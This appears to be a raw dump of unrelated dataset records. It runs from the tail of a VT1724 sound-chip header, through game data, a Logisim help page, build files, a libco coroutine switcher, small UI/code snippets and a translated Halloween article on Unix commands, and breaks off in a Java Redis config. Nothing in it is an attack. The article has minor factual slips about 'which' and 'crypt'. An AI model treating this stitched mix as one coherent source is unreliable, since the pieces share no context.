VT1724_IRQ_MPU_RX\t\t0x80\n#define VT1724_IRQ_MPU_TX\t\t0x20\n#define VT1724_IRQ_MTPCM\t\t0x10\n#define VT1724_REG_IRQSTAT\t\t0x02\t/* byte */\n/* look to VT1724_IRQ_* */\n#define VT1724_REG_SYS_CFG\t\t0x04\t/* byte - system configuration PCI60 on Envy24*/\n#define VT1724_CFG_CLOCK\t0xc0\n#define VT1724_CFG_CLOCK512\t0x00\t/* 22.5692Mhz, 44.1kHz*512 */\n#define VT1724_CFG_CLOCK384 0x40\t/* 16.9344Mhz, 44.1kHz*384 */\n#define VT1724_CFG_MPU401\t0x20\t\t/* MPU401 UARTs */\n#define VT1724_CFG_ADC_MASK\t0x0c\t/* one, two or one and S/PDIF, stereo ADCs */\n#define VT1724_CFG_ADC_NONE\t0x0c\t/* no ADCs */\n#define VT1724_CFG_DAC_MASK\t0x03\t/* one, two, three, four stereo DACs */\n\n#define VT1724_REG_AC97_CFG\t\t0x05\t/* byte */\n#define VT1724_CFG_PRO_I2S\t0x80\t/* multitrack converter: I2S or AC'97 */\n#define VT1724_CFG_AC97_PACKED\t0x01\t/* split or packed mode - AC'97 */\n\n#define VT1724_REG_I2S_FEATURES\t\t0x06\t/* byte */\n#define VT1724_CFG_I2S_VOLUME\t0x80\t/* volume/mute capability */\n#define VT1724_CFG_I2S_96KHZ\t0x40\t/* supports 96kHz sampling */\n#define VT1724_CFG_I2S_RESMASK\t0x30\t/* resolution mask, 16,18,20,24-bit */\n#define VT1724_CFG_I2S_192KHZ\t0x08\t/* supports 192kHz sampling */\n#define VT1724_CFG_I2S_OTHER\t0x07\t/* other I2S IDs */\n\n#define VT1724_REG_SPDIF_CFG\t\t0x07\t/* byte */\n#define VT1724_CFG_SPDIF_OUT_EN\t0x80\t/*Internal S/PDIF output is enabled*/\n#define VT1724_CFG_SPDIF_OUT_INT\t0x40\t/*Internal S/PDIF output is implemented*/\n#define VT1724_CFG_I2S_CHIPID\t0x3c\t/* I2S chip ID */\n#define VT1724_CFG_SPDIF_IN\t0x02\t/* S/PDIF input is present */\n#define VT1724_CFG_SPDIF_OUT\t0x01\t/* External S/PDIF output is present */\n\n/*there is no consumer AC97 codec with the VT1724*/\n//#define VT1724_REG_AC97_INDEX\t\t0x08\t/* byte */\n//#define VT1724_REG_AC97_CMD\t\t0x09\t/* byte */\n\n#define VT1724_REG_MPU_TXFIFO\t\t0x0a\t/*byte ro. number of bytes in TX fifo*/\n#define VT1724_REG_MPU_RXFIFO\t\t0x0b\t/*byte ro. number of bytes in RX fifo*/\n\n#define VT1724_REG_MPU_DATA\t\t0x0c\t/* byte */\n#define VT1724_REG_MPU_CTRL\t\t0x0d\t/* byte */\n#define VT1724_MPU_UART\t0x01\n#define VT1724_MPU_TX_EMPTY\t0x02\n#define VT1724_MPU_TX_FULL\t0x04\n#define VT1724_MPU_RX_EMPTY\t0x08\n#define VT1724_MPU_RX_FULL\t0x10\n\n#define VT1724_REG_MPU_FIFO_WM\t0x0e\t/*byte set the high/low watermarks for RX/TX fifos*/\n#define VT1724_MPU_RX_FIFO\t0x20\t//1=rx fifo watermark 0=tx fifo watermark\n#define VT1724_MPU_FIFO_MASK\t0x1f\t\n\n#define VT1724_REG_I2C_DEV_ADDR\t0x10\t/* byte */\n#define VT1724_I2C_WRITE\t\t0x01\t/* write direction */\n#define VT1724_REG_I2C_BYTE_ADDR\t0x11\t/* byte */\n#define VT1724_REG_I2C_DATA\t\t0x12\t/* byte */\n#define VT1724_REG_I2C_CTRL\t\t0x13\t/* byte */\n#define VT1724_I2C_EEPROM\t\t0x80\t/* 1 = EEPROM exists */\n#define VT1724_I2C_BUSY\t\t0x01\t/* busy bit */\n\n#define VT1724_REG_GPIO_DATA\t0x14\t/* word */\n#define VT1724_REG_GPIO_WRITE_MASK\t0x16 /* word */\n#define VT1724_REG_GPIO_DIRECTION\t0x18 /* dword? (3 bytes) 0=input 1=output. \n\t\t\t\t\t\tbit3 - during reset used for Eeprom power-on strapping\n\t\t\t\t\t\tif TESTEN# pin active, bit 2 always input*/\n#define VT1724_REG_POWERDOWN\t0x1c\n#define VT1724_REG_GPIO_DATA_22\t0x1e /* byte direction for GPIO 16:22 */\n#define VT1724_REG_GPIO_WRITE_MASK_22\t0x1f /* byte write mask for GPIO 16:22 */\n\n\n/* \n * Professional multi-track direct control registers\n */\n\n#define ICEMT1724(ice, x) ((ice)->profi_port + VT1724_MT_##x)\n\n#define VT1724_MT_IRQ\t\t\t0x00\t/* byte - interrupt mask */\n#define VT1724_MULTI_PDMA4\t0x80\t/* SPDIF Out / PDMA4 */\n#define\t VT1724_MULTI_PDMA3\t0x40\t/* PDMA3 */\n#define VT1724_MULTI_PDMA2\t0x20\t/* PDMA2 */\n#define VT1724_MULTI_PDMA1\t0x10\t/* PDMA1 */\n#define VT1724_MULTI_FIFO_ERR 0x08\t/* DMA FIFO underrun/overrun. */\n#define VT1724_MULTI_RDMA1\t0x04\t/* RDMA1 (S/PDIF input) */\n#define VT1724_MULTI_RDMA0\t0x02\t/* RMDA0 */\n#define VT1724_MULTI_PDMA0\t0x01\t/* MC Interleave/PDMA0 */\n\n#define VT1724_MT_RATE\t\t\t0x01\t/* byte - sampling rate select */\n#define VT1724_SPDIF_MASTER\t\t0x10\t/* S/PDIF input is master clock */\n#define VT1724_MT_I2S_FORMAT\t\t0x02\t/* byte - I2S data format */\n#define VT1724_MT_I2S_MCLK_128X\t0x08\n#define VT1724_MT_I2S_FORMAT_MASK\t0x03\n#define VT1724_MT_I2S_FORMAT_I2S\t0x00\n#define VT1724_MT_DMA_INT_MASK\t\t0x03\t/* byte -DMA Interrupt Mask */\n/* lool to VT1724_MULTI_* */\n#define VT1724_MT_AC97_INDEX\t\t0x04\t/* byte - AC'97 index */\n#define VT1724_MT_AC97_CMD\t\t0x05\t/* byte - AC'97 command & status */\n#define VT1724_AC97_COLD\t0x80\t/* cold reset */\n#define VT1724_AC97_WARM\t0x40\t/* warm reset */\n#define VT1724_AC97_WRITE\t0x20\t/* W: write, R: write in progress */\n#define VT1724_AC97_READ\t0x10\t/* W: read, R: read in progress */\n#define VT1724_AC97_READY\t0x08\t/* codec ready status bit */\n#define VT1724_AC97_ID_MASK\t0x03\t/* codec id mask */\n#define VT1724_MT_AC97_DATA\t\t0x06\t/* word - AC'97 data */\n#define VT1724_MT_PLAYBACK_ADDR\t\t0x10\t/* dword - playback address */\n#define VT1724_MT_PLAYBACK_SIZE\t\t0x14\t/* dword - playback size */\n#define VT1724_MT_DMA_CONTROL\t\t0x18\t/* byte - control */\n#define VT1724_PDMA4_START\t0x80\t/* SPDIF out / PDMA4 start */\n#define VT1724_PDMA3_START\t0x40\t/* PDMA3 start */\n#define VT1724_PDMA2_START\t0x20\t/* PDMA2 start */\n#define VT1724_PDMA1_START\t0x10\t/* PDMA1 start */\n#define VT1724_RDMA1_START\t0x04\t/* RDMA1 start */\n#define VT1724_RDMA0_START\t0x02\t/* RMDA0 start */\n#define VT1724_PDMA0_START\t0x01\t/* MC Interleave / PDMA0 start */\n#define VT1724_MT_BURST\t\t\t0x19\t/* Interleaved playback DMA Active streams / PCI burst size */\n#define VT1724_MT_DMA_FIFO_ERR\t\t0x1a\t/*Global playback and record DMA FIFO Underrun/Overrun */\n#define VT1724_PDMA4_UNDERRUN\t\t0x80\n#define VT1724_PDMA2_UNDERRUN\t\t0x40\n#define VT1724_PDMA3_UNDERRUN\t\t0x20\n#define VT1724_PDMA1_UNDERRUN\t\t0x10\n#define VT1724_RDMA1_UNDERRUN\t\t0x04\n#define VT1724_RDMA0_UNDERRUN\t\t0x02\n#define VT1724_PDMA0_UNDERRUN\t\t0x01\n#define VT1724_MT_DMA_PAUSE\t\t0x1b\t/*Global playback and record DMA FIFO pause/resume */\n#define\t VT1724_PDMA4_PAUSE\t0x80\n#define\t VT1724_PDMA3_PAUSE\t0x40\n#define\t VT1724_PDMA2_PAUSE\t0x20\n#define\t VT1724_PDMA1_PAUSE\t0x10\n#define\t VT1724_RDMA1_PAUSE\t0x04\n#define\t VT1724_RDMA0_PAUSE\t0x02\n#define\t VT1724_PDMA0_PAUSE\t0x01\n#define VT1724_MT_PLAYBACK_COUNT\t0x1c\t/* word - playback count */\n#define VT1724_MT_CAPTURE_ADDR\t\t0x20\t/* dword - capture address */\n#define VT1724_MT_CAPTURE_SIZE\t\t0x24\t/* word - capture size */\n#define VT1724_MT_CAPTURE_COUNT\t\t0x26\t/* word - capture count */\n\n#define VT1724_MT_ROUTE_PLAYBACK\t0x2c\t/* word */\n\n#define VT1724_MT_RDMA1_ADDR\t\t0x30\t/* dword - RDMA1 capture address */\n#define VT1724_MT_RDMA1_SIZE\t\t0x34\t/* word - RDMA1 capture size */\n#define VT1724_MT_RDMA1_COUNT\t\t0x36\t/* word - RDMA1 capture count */\n\n#define VT1724_MT_SPDIF_CTRL\t\t0x3c\t/* word */\n#define VT1724_MT_MONITOR_PEAKINDEX\t0x3e\t/* byte */\n#define VT1724_MT_MONITOR_PEAKDATA\t0x3f\t/* byte */\n\n/* concurrent stereo channels */\n#define VT1724_MT_PDMA4_ADDR\t\t0x40\t/* dword */\n#define VT1724_MT_PDMA4_SIZE\t\t0x44\t/* word */\n#define VT1724_MT_PDMA4_COUNT\t\t0x46\t/* word */\n#define VT1724_MT_PDMA3_ADDR\t\t0x50\t/* dword */\n#define VT1724_MT_PDMA3_SIZE\t\t0x54\t/* word */\n#define VT1724_MT_PDMA3_COUNT\t\t0x56\t/* word */\n#define VT1724_MT_PDMA2_ADDR\t\t0x60\t/* dword */\n#define VT1724_MT_PDMA2_SIZE\t\t0x64\t/* word */\n#define VT1724_MT_PDMA2_COUNT\t\t0x66\t/* word */\n#define VT1724_MT_PDMA1_ADDR\t\t0x70\t/* dword */\n#define VT1724_MT_PDMA1_SIZE\t\t0x74\t/* word */\n#define VT1724_MT_PDMA1_COUNT\t\t0x76\t/* word */\n\n\nunsigned char snd_vt1724_read_i2c(struct snd_ice1712 *ice, unsigned char dev, unsigned char addr);\nvoid snd_vt1724_write_i2c(struct snd_ice1712 *ice, unsigned char dev, unsigned char addr, unsigned char data);\n\n#endif /* __SOUND_VT1724_H */\n"} {"text": "owner = NOR\r\ncontroller = NOR\r\nadd_core = NOR\r\n\r\n\r\ninfra = 1\r\n1940.5.10 = {\r\n\tcontroller = GER\r\n\r\n}\r\n1941.6.22 = {\r\n\tcontroller = GER\r\n}\r\n"} {"text": "<html>\n<head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>Библиотека Арифметика</title>\n</head>\n\n<body bgcolor=\"FFFFFF\">\n\n<h1>Библиотека Арифметика</h1>\n\n<p>Библиотека Арифметика включает комбинационные компоненты, которые выполняют арифметические действия над значениями в виде беззнаковых чисел и в дополнительном коде.</p>\n\n<table>\n<tr><td align=\"right\"><a href=\"adder.html\"><img border=\"0\" src=\"../../../icons/adder.gif\"></a></td>\n\t<td><a href=\"adder.html\">Сумматор</a></td></tr>\n<tr><td align=\"right\"><a href=\"subtractor.html\"><img border=\"0\" src=\"../../../icons/subtractor.gif\"></a></td>\n\t<td><a href=\"subtractor.html\">Вычитатель</a></td></tr>\n<tr><td align=\"right\"><a href=\"multiplier.html\"><img border=\"0\" src=\"../../../icons/multiplier.gif\"></a></td>\n\t<td><a href=\"multiplier.html\">Множитель</a></td></tr>\n<tr><td align=\"right\"><a href=\"divider.html\"><img border=\"0\" src=\"../../../icons/divider.gif\"></a></td>\n\t<td><a href=\"divider.html\">Делитель</a></td></tr>\n<tr><td align=\"right\"><a href=\"negator.html\"><img border=\"0\" src=\"../../../icons/negator.gif\"></a></td>\n\t<td><a href=\"negator.html\">Отрицатель</a></td></tr>\n<tr><td align=\"right\"><a href=\"comparator.html\"><img border=\"0\" src=\"../../../icons/comparator.gif\"></a></td>\n\t<td><a href=\"comparator.html\">Компаратор</a></td></tr>\n<tr><td align=\"right\"><a href=\"shifter.html\"><img border=\"0\" src=\"../../../icons/shifter.gif\"></a></td>\n\t<td><a href=\"shifter.html\">Сдвигатель</a></td></tr>\n<tr><td align=\"right\"><a href=\"bitadder.html\"><img border=\"0\" src=\"../../../icons/bitadder.gif\"></a></td>\n\t<td><a href=\"bitadder.html\">Сумматор битов</a></td></tr>\n<tr><td align=\"right\"><a href=\"bitfinder.html\"><img border=\"0\" src=\"../../../icons/bitfindr.gif\"></a></td>\n\t<td><a href=\"bitfinder.html\">Искатель битов</a></td></tr>\n</table>\n\n<p><a href=\"../index.html\">Назад к <em>Справке по библиотеке</em></a></p>\n\n</body>\n</html>\n"} {"text": "load(\"@io_bazel_rules_go//go:def.bzl\", \"go_library\")\n\ngo_library(\n name = \"go_default_library\",\n srcs = [\"jws.go\"],\n importmap = \"k8s.io/kops/vendor/golang.org/x/oauth2/jws\",\n importpath = \"golang.org/x/oauth2/jws\",\n visibility = [\"//visibility:public\"],\n)\n"} {"text": "#define LIBCO_C\n#include \"libco.h\"\n#include \"settings.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if defined(__clang__) || defined(__GNUC__)\n #define fastcall __attribute__((fastcall))\n#elif defined(_MSC_VER)\n #define fastcall __fastcall\n#else\n #error \"libco: please define fastcall macro\"\n#endif\n\nstatic thread_local long co_active_buffer[64];\nstatic thread_local cothread_t co_active_handle = 0;\nstatic void (fastcall *co_swap)(cothread_t, cothread_t) = 0;\n\n#ifdef LIBCO_MPROTECT\n alignas(4096)\n#else\n section(text)\n#endif\n/* ABI: fastcall */\nstatic const unsigned char co_swap_function[4096] = {\n 0x89, 0x22, /* mov [edx],esp */\n 0x8b, 0x21, /* mov esp,[ecx] */\n 0x58, /* pop eax */\n 0x89, 0x6a, 0x04, /* mov [edx+ 4],ebp */\n 0x89, 0x72, 0x08, /* mov [edx+ 8],esi */\n 0x89, 0x7a, 0x0c, /* mov [edx+12],edi */\n 0x89, 0x5a, 0x10, /* mov [edx+16],ebx */\n 0x8b, 0x69, 0x04, /* mov ebp,[ecx+ 4] */\n 0x8b, 0x71, 0x08, /* mov esi,[ecx+ 8] */\n 0x8b, 0x79, 0x0c, /* mov edi,[ecx+12] */\n 0x8b, 0x59, 0x10, /* mov ebx,[ecx+16] */\n 0xff, 0xe0, /* jmp eax */\n};\n\n#ifdef _WIN32\n #include <windows.h>\n\n static void co_init() {\n #ifdef LIBCO_MPROTECT\n DWORD old_privileges;\n VirtualProtect((void*)co_swap_function, sizeof co_swap_function, PAGE_EXECUTE_READ, &old_privileges);\n #endif\n }\n#else\n #ifdef LIBCO_MPROTECT\n #include <unistd.h>\n #include <sys/mman.h>\n #endif\n\n static void co_init() {\n #ifdef LIBCO_MPROTECT\n unsigned long addr = (unsigned long)co_swap_function;\n unsigned long base = addr - (addr % sysconf(_SC_PAGESIZE));\n unsigned long size = (addr - base) + sizeof co_swap_function;\n mprotect((void*)base, size, PROT_READ | PROT_EXEC);\n #endif\n }\n#endif\n\nstatic void crash() {\n LIBCO_ASSERT(0); /* called only if cothread_t entrypoint returns */\n}\n\ncothread_t co_active() {\n if(!co_active_handle) co_active_handle = &co_active_buffer;\n return co_active_handle;\n}\n\ncothread_t co_derive(void* memory, unsigned int size, void (*entrypoint)(void)) {\n cothread_t handle;\n if(!co_swap) {\n co_init();\n co_swap = (void (fastcall*)(cothread_t, cothread_t))co_swap_function;\n }\n if(!co_active_handle) co_active_handle = &co_active_buffer;\n\n if(handle = (cothread_t)memory) {\n unsigned int offset = (size & ~15) - 32;\n long *p = (long*)((char*)handle + offset); /* seek to top of stack */\n *--p = (long)crash; /* crash if entrypoint returns */\n *--p = (long)entrypoint; /* start of function */\n *(long*)handle = (long)p; /* stack pointer */\n }\n\n return handle;\n}\n\ncothread_t co_create(unsigned int size, void (*entrypoint)(void)) {\n void* memory = LIBCO_MALLOC(size);\n if(!memory) return (cothread_t)0;\n return co_derive(memory, size, entrypoint);\n}\n\nvoid co_delete(cothread_t handle) {\n LIBCO_FREE(handle);\n}\n\nvoid co_switch(cothread_t handle) {\n register cothread_t co_previous_handle = co_active_handle;\n co_swap(co_active_handle = handle, co_previous_handle);\n}\n\nint co_serializable() {\n return 1;\n}\n\n#ifdef __cplusplus\n}\n#endif\n"} {"text": "<!doctype html>\n<html lang=\"en\">\n\n\t<head>\n\t\t<meta charset=\"utf-8\">\n\n\t\t<title>reveal.js - Tests</title>\n\n\t\t<link rel=\"stylesheet\" href=\"../css/reveal.min.css\">\n\t\t<link rel=\"stylesheet\" href=\"qunit-1.12.0.css\">\n\t</head>\n\n\t<body style=\"overflow: auto;\">\n\n\t\t<div id=\"qunit\"></div>\n \t\t<div id=\"qunit-fixture\"></div>\n\n\t\t<div class=\"reveal\" style=\"display: none;\">\n\n\t\t\t<div class=\"slides\">\n\n\t\t\t\t<section>\n\t\t\t\t\t<h1>1</h1>\n\t\t\t\t</section>\n\n\t\t\t\t<section>\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>2.1</h1>\n\t\t\t\t\t</section>\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>2.2</h1>\n\t\t\t\t\t</section>\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>2.3</h1>\n\t\t\t\t\t</section>\n\t\t\t\t</section>\n\n\t\t\t\t<section id=\"fragment-slides\">\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.1</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.2</li>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.3</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</section>\n\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.2</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"0\">4.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"0\">4.2</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</section>\n\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.3</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"1\">3.3.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"4\">3.3.2</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"4\">3.3.3</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</section>\n\t\t\t\t</section>\n\n\t\t\t\t<section>\n\t\t\t\t\t<h1>4</h1>\n\t\t\t\t</section>\n\n\t\t\t</div>\n\n\t\t</div>\n\n\t\t<script src=\"../lib/js/head.min.js\"></script>\n\t\t<script src=\"../js/reveal.min.js\"></script>\n\t\t<script src=\"qunit-1.12.0.js\"></script>\n\n\t\t<script src=\"test.js\"></script>\n\n\t</body>\n</html>\n"} {"text": "/*\n * Copyright 2009,2010,2011 Reality Jockey, Ltd.\n * info@rjdj.me\n * http://rjdj.me/\n *\n * This file is part of ZenGarden.\n *\n * ZenGarden is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * ZenGarden is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with ZenGarden. If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n#ifndef _MESSAGE_EXP_H_\n#define _MESSAGE_EXP_H_\n\n#include \"MessageObject.h\"\n\n/** [exp] */\nclass MessageExp : public MessageObject {\n\n public:\n static MessageObject *newObject(PdMessage *initMessage, PdGraph *graph);\n MessageExp(PdMessage *initMessage, PdGraph *graph);\n ~MessageExp();\n\n static const char *getObjectLabel();\n std::string toString();\n\n private:\n void processMessage(int inletIndex, PdMessage *message);\n};\n\ninline const char *MessageExp::getObjectLabel() {\n return \"exp\";\n}\n\ninline std::string MessageExp::toString() {\n return MessageExp::getObjectLabel();\n}\n\n#endif // _MESSAGE_EXP_H_\n"} {"text": "# Go support for Protocol Buffers - Google's data interchange format\n#\n# Copyright 2010 The Go Authors. All rights reserved.\n# https://github.com/golang/protobuf\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# * Neither the name of Google Inc. nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\ntest:\n\tcd testdata && make test\n"} {"text": "<template>\n<div>\n This is component 2\n</div>\n</template>\n\n<script>\nexport default {\n name: 'Component2',\n data () {\n return {}\n }\n}\n</script>\n<stlye></stlye>\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace SimplyMobile.Navigation\n{\n using Core;\n\n public abstract class Navigator : INavigationController\n {\n public virtual bool NavigateTo<T>(object sender, T model) where T : ViewModel\n {\n var type = typeof(T);\n object t;\n\n Func<T, bool> target;\n\n if (this.Delegates.TryGetValue(type, out t))\n {\n target = t as Func<T, bool>;\n if (target == null)\n {\n this.Delegates.Remove(type);\n } \n else\n {\n return target (model);\n }\n }\n\n if (this.WeakDelegates.ContainsKey(type))\n {\n var funcDelegate = this.WeakDelegates[type];\n\n if (!funcDelegate.IsAlive || (target = funcDelegate.Target as Func<ViewModel, bool>) == null)\n {\n this.WeakDelegates.Remove(type);\n return false;\n }\n\n return target(model);\n }\n\n return false;\n }\n\n public void SetDelegate<T>(Func<T, bool> func) where T : ViewModel\n {\n var type = typeof(T);\n this.Delegates.Remove(type);\n this.WeakDelegates.Remove(type);\n this.Delegates.Add(type, func);\n }\n\n public void SetWeakDelegate<T>(Func<T, bool> func) where T : ViewModel\n {\n var type = typeof(T);\n this.WeakDelegates.Remove(type);\n this.WeakDelegates.Add(type, new WeakReference(func));\n }\n\n public virtual bool RemoveDelegates<T>() where T : ViewModel\n {\n return this.Delegates.Remove(typeof(T)) || this.WeakDelegates.Remove(typeof(T));\n }\n\n //public virtual bool RemoveWeakDelegate<T>() where T : ViewModel\n //{\n // return this.WeakDelegates.Remove(typeof(T));\n //}\n\n //public virtual bool RemoveWeakDelegate<T>(Func<T, bool> func) where T : ViewModel\n //{\n // var type = typeof(T);\n // WeakReference reference;\n\n // if (!this.WeakDelegates.TryGetValue(type, out reference))\n // {\n // return false;\n // }\n\n // Func<T, bool> target;\n\n // if (!reference.IsAlive || (target = reference.Target as Func<T, bool>) == null\n // || target.Equals(func))\n // {\n // return this.WeakDelegates.Remove(type);\n // }\n\n // return false;\n //}\n\n protected Navigator()\n {\n this.Delegates = new Dictionary<Type, object>();\n this.WeakDelegates = new Dictionary<Type, WeakReference>();\n }\n\n protected Dictionary<Type, object> Delegates;\n\n protected Dictionary<Type, WeakReference> WeakDelegates;\n }\n}\n"} {"text": "/**\n * Copyright (c) 2015-present, Horcrux.\n * All rights reserved.\n *\n * This source code is licensed under the MIT-style license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#import \"RNSVGGroupManager.h\"\n\n@interface RNSVGMaskManager : RNSVGGroupManager\n\n@end\n"} {"text": "<UserControl x:Class=\"GalaSoft.Samples.RaiseCanExecuteChanged.Page\"\r\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\r\n xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\r\n xmlns:d=\"http://schemas.microsoft.com/expression/blend/2008\"\r\n xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\r\n xmlns:cmd=\"clr-namespace:GalaSoft.MvvmLight.Command;assembly=GalaSoft.MvvmLight\"\r\n mc:Ignorable=\"d\"\r\n DataContext=\"{Binding Main, Source={StaticResource Locator}}\">\r\n\r\n <Grid Style=\"{StaticResource MainGridStyle}\">\r\n <Grid.RowDefinitions>\r\n <RowDefinition Height=\"*\" />\r\n <RowDefinition Height=\"70\" />\r\n </Grid.RowDefinitions>\r\n\r\n <TextBlock Text=\"{Binding Counter}\"\r\n Style=\"{StaticResource DisplayTextBlockStyle}\" />\r\n\r\n <Button cmd:ButtonBaseExtensions.Command=\"{Binding IncreaseCounterCommand}\"\r\n Grid.Row=\"2\"\r\n Style=\"{StaticResource IncrementButtonStyle}\"\r\n Content=\"Increment\" />\r\n\r\n <ToggleButton Margin=\"10,0,0,0\"\r\n Style=\"{StaticResource ToggleButtonStyle}\"\r\n IsChecked=\"{Binding CanIncrement, Mode=TwoWay}\"\r\n Content=\"Enabled\"\r\n Tag=\"Disabled\" />\r\n </Grid>\r\n</UserControl>\r\n"} {"text": "8 个出没于终端中的吓人命令\n======\n\n> 欢迎来到 Linux 令人毛骨悚然的一面。\n\n![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/halloween_bag_bat_diy.jpg?itok=24M0lX25)\n\n又是一年中的这个时候:天气变冷了、树叶变色了,各处的孩子都化妆成了小鬼、妖精和僵尸。(LCTT 译注:本文原发表于万圣节)但你知道吗, Unix (和 Linux) 和它们的各个分支也充满了令人毛骨悚然的东西?让我们来看一下我们所熟悉和喜爱的操作系统的一些令人毛骨悚然的一面。\n\n### 半神(守护进程)\n\n如果没有潜伏于系统中的各种<ruby>守护进程<rt>daemon</rt></ruby>,那么 Unix 就没什么不同。守护进程是运行在后台的进程,并为用户和操作系统本身提供有用的服务,比如 SSH、FTP、HTTP 等等。\n\n### 僵尸(僵尸进程)\n\n不时出现的僵尸进程是一种被杀死但是拒绝离开的进程。当它出现时,无疑你只能选择你有的工具来赶走它。僵尸进程通常表明产生它的进程出现了问题。\n\n### 杀死(kill)\n\n你不仅可以使用 `kill` 来干掉一个僵尸进程,你还可以用它杀死任何对你系统产生负面影响的进程。有一个使用太多 RAM 或 CPU 周期的进程?使用 `kill` 命令杀死它。\n\n### 猫(cat)\n\n`cat` 和猫科动物无关,但是与文件操作有关:`cat` 是 “concatenate” 的缩写。你甚至可以使用这个方便的命令来查看文件的内容。\n\n### 尾巴(tail)\n\n当你想要查看文件中最后 n 行时,`tail` 命令很有用。当你想要监控一个文件时,它也很棒。\n\n### 巫师(which)\n\n哦,不,它不是巫师(witch)的一种。而是打印传递给它的命令所在的文件位置的命令。例如,`which python` 将在你系统上打印每个版本的 Python 的位置。\n\n### 地下室(crypt)\n\n`crypt` 命令,以前称为 `mcrypt`,当你想要加密(encrypt)文件的内容时,它是很方便的,这样除了你之外没有人可以读取它。像大多数 Unix 命令一样,你可以单独使用 `crypt` 或在系统脚本中调用它。\n\n### 切碎(shred)\n\n当你不仅要删除文件还想要确保没有人能够恢复它时,`shred` 命令很方便。使用 `rm` 命令删除文件是不够的。你还需要覆盖该文件以前占用的空间。这就是 `shred` 的用武之地。\n\n这些只是你会在 Unix 中发现的一部分令人毛骨悚然的东西。你还知道其他诡异的命令么?请随时告诉我。\n\n万圣节快乐!(LCTT:可惜我们翻译完了,只能将恐怖的感觉延迟了 :D)\n\n--------------------------------------------------------------------------------\n\nvia: https://opensource.com/article/18/10/spookier-side-unix-linux\n\n作者:[Patrick H.Mullins][a]\n选题:[lujun9972][b]\n译者:[geekpi](https://github.com/geekpi)\n校对:[wxy](https://github.com/wxy)\n\n本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出\n\n[a]: https://opensource.com/users/pmullins\n[b]: https://github.com/lujun9972\n"} {"text": "package com.mrcoder.sbredisproducerconsumer.config;\n\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\n\n/**\n * @Description: Redis配置类\n */\n@Configuration\n@ConditionalOnClass({RedisTemplate.class})\npublic class RedisConfig {\n\n /**\n * Redis操作模板配置\n *\n * @param connectionFactory\n * @return\n */\n @Bean\n public RedisTemplate<?, 